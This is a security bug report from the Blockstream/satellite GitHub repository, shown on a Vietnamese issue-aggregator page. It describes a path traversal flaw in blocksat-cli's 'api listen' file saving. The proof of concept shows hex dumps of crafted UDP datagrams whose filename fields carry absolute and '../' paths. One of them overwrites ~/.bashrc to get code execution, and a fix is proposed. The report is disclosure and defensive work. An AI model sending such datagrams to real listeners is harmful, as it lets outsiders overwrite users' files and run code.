blocksat-cli api listen writes outside the download directory

Đang mở
#119 0 bình luận 0 reaction 0 người được giao Xem trên GitHub

Chưa có ai nhận issue này.

Đánh giá

Độ khó
4/5
Thời gian dự kiến
3-5 ngày
Mức phù hợp với người mới
35/100
Loại issue
Lỗi
Độ rõ ràng
Đặc tả rõ ràng
Mức độ hoạt động
Sôi nổi
Công nghệ
python
Lĩnh vực
security

Hướng nghiên cứu

Start with ApiMsg.save() in blocksatcli/api/msg.py, then trace the CLI listener and the GUI listener in blocksatgui/satapi/api.py to see how filenames reach it in encrypted and plaintext modes. Check the existing --exec sender requirement for the trust rule, and cover absolute paths, traversal, and name-clash siblings in tests. Done means received messages cannot write outside the download directory and the listener does not trust an unsigned message filename without --sender; the reporter offers to retest a patch.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Mô tả

What happens

blocksat-cli api listen with the defaults decrypts with the local key and then calls ApiMsg.save(). The file name is the 255-byte field from MSG_HEADER_FORMAT = '<255sxI' in blocksatcli/api/msg.py. save() does os.path.join(download_dir, filename) and open(..., 'wb').

An absolute name makes os.path.join drop the download directory. A name containing ../ walks out of it. There is no basename and no realpath check against the download directory.

The default listener does not require --sender. An unsigned message encrypted to the recipient public key is accepted. That public key is the receive address. The same project already treats "anyone who has your public key" as an untrusted sender for --exec (--exec requires --sender or --insecure). The save path has no such check.

UdpSock binds ('', api_port) with api_port = 4433 (blocksatcli/defs.py), so the socket is 0.0.0.0:4433. A unicast datagram to that port is enough. It does not have to be addressed to 239.0.0.2.

os.path.basename() in api send only covers the official CLI. The satellite side sees ciphertext. I built the UDP payload directly.

--btc-src, --gossip, and --plaintext force plaintext. The same save() runs, and no key is required. The GUI listen path in blocksatgui/satapi/api.py calls this same listener.

The file is owned by the listener user. The parent directory has to exist already. If the target exists and the bytes differ, save() does not overwrite it; it creates a -2, -3, ... sibling. The listener process does not execute the file. I got code execution by writing ~/.bashrc, then starting a login shell as that user.

Setup

Listener user sat. Empty passphrase key in /home/sat/.blocksat/.gnupg, plus the Blockstream public key shipped in the repo, so config_keyring would not prompt. The sender keyring /tmp/atk-gpg had only sat's exported public key. gpg --list-secret-keys there was empty. I deleted the skel ~/.bashrc before the run so a successful write would land on that exact path.

su -s /bin/bash sat -c 'cd /tmp && PYTHONPATH=/src python3 -m blocksatcli api listen --demo --no-password'

Listener:

Listening on interface: lo
Downloads will be saved at: /home/sat/.blocksat/api/downloads
Waiting for data...

/proc/net/udp at that point:

00000000:1151

0x1151 is port 4433, address 0.0.0.0.

PoC

Sender is the small script I used in the container. It calls msg.generate(..., encapsulate=True, sign=False), wraps the result in one Blocksat packet (blocksatcli/api/pkt.py, 8-byte header !cBHI), and sendto()s it to the container address on UDP 4433.

Encrypted sends (channel 1, one fragment each):

seq filename in the header payload bytes
11 /tmp/bs-abs ABS_WRITE_OK
12 ../../../../../tmp/bs-rel REL_WRITE_OK
13 /home/sat/.bashrc echo RAN>/tmp/bs-bashrc-ran\n
14 hello.txt INSIDE_OK

Each one printed sent 1 datagram(s) to <container-ip>:4433.

The on-wire body of an encrypted datagram is OpenPGP (gpg.encrypt, sign=False). The session key changes every run, so the ciphertext bytes are not stable and I am not pasting them. What is stable is the header in front of that ciphertext, and the cleartext I handed to gpg.encrypt.

Blocksat header for seq 11, channel 1, last fragment:

01 01 00 00 00 00 00 0b

Cleartext API message for that datagram, before encryption. 272 bytes: 255-byte name, 1 pad byte, CRC32, then the payload. Bytes 12..259 are 00.

0000  2f 74 6d 70 2f 62 73 2d 61 62 73 00 00 00 00 00  /tmp/bs-abs.....
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
...
0100  00 00 00 00 8c 14 57 f2 41 42 53 5f 57 52 49 54  ......W.ABS_WRIT
0110  45 5f 4f 4b                                      E_OK

8c 14 57 f2 is CRC32 4065793164 (zlib.crc32(b"ABS_WRITE_OK")). The other three messages are the same layout with the names and payloads in the table. Their CRC32 values are 1984947302, 38511487, and 1660104058.

Listener, after those four datagrams. This is stdout of the unmodified process:

Encrypted size: 557 bytes; Decryption: OK; Unsigned
File: /tmp/bs-abs; Checksum: 4065793164; Size: 12 bytes
Saved at /tmp/bs-abs.
File: ../../../../../tmp/bs-rel; Checksum: 1984947302; Size: 12 bytes
Saved at /home/sat/.blocksat/api/downloads/../../../../../tmp/bs-rel.
File: /home/sat/.bashrc; Checksum: 38511487; Size: 28 bytes
Saved at /home/sat/.bashrc.
File: hello.txt; Checksum: 1660104058; Size: 9 bytes
Saved at /home/sat/.blocksat/api/downloads/hello.txt.

There is no UDP reply. api listen only receives. The process log above is the response I got, then the files:

$ cat /tmp/bs-abs
ABS_WRITE_OK
$ cat /tmp/bs-rel
REL_WRITE_OK
$ cat /home/sat/.bashrc
echo RAN>/tmp/bs-bashrc-ran
$ cat /home/sat/.blocksat/api/downloads/hello.txt
INSIDE_OK
$ ls /home/sat/.blocksat/api/downloads
hello.txt

/tmp/bs-rel is what downloads/../../../../../tmp/bs-rel resolves to. hello.txt stayed in the download directory.

Then:

su - sat -c true
cat /tmp/bs-bashrc-ran
RAN

That came from bash reading the .bashrc I had just written. The listener did not exec it.

Plaintext, same binary, after stopping the first listener:

python3 -m blocksatcli api listen --demo --no-password --btc-src

This mode is plaintext on channel 5. No key on the sender. Payload PLAIN_NO_KEY, name /tmp/bs-plain, seq 21. This datagram is deterministic, so here is the UDP payload I actually sent, 280 bytes. Bytes 0x16 through 0x107 are 00 (the rest of the 255-byte name plus the pad).

0000  01 05 00 00 00 00 00 15 2f 74 6d 70 2f 62 73 2d  ......../tmp/bs-
0010  70 6c 61 69 6e 00 00 00 00 00 00 00 00 00 00 00  plain...........
...
0100  00 00 00 00 00 00 00 00 49 0c d6 ee 50 4c 41 49  ........I...PLAI
0110  4e 5f 4e 4f 5f 4b 45 59                          N_NO_KEY

01 05 is API, last fragment, channel 5. 00 00 00 15 is seq 21. 49 0c d6 ee is CRC32 4007005257.

Listener:

File: /tmp/bs-plain; Checksum: 4007005257; Size: 12 bytes
Saved at /tmp/bs-plain.
$ cat /tmp/bs-plain
PLAIN_NO_KEY

A path the sat user cannot create, such as /etc or /root, fails the open. I did not keep going past that.

Fix

In ApiMsg.save, keep a single path component. Reject a name that contains / or \, or is absolute, or contains ... realpath the destination and require it to stay under realpath(download_dir), including the -2 sibling used on a name clash.

On the default listener, do the same thing you already do for --exec: if --sender was not set, do not use the name from the message. Generate one, or drop the message. Apply that to --plaintext, --btc-src, and --gossip as well. Leaving basename on api send is fine; it does not cover a hand-built datagram.

I can retest a patch.

Thank you.

Ngôn ngữ chính
Python
Star
1k
Fork
162
Chỉ số merge pull request
Không có pull request nào được merge trong 30 ngày

Chuẩn bị môi trường

Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Issue khác của Blockstream/satellite

Tất cả issue của Blockstream/satellite

Issue tương tự

Thêm issue về Python

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.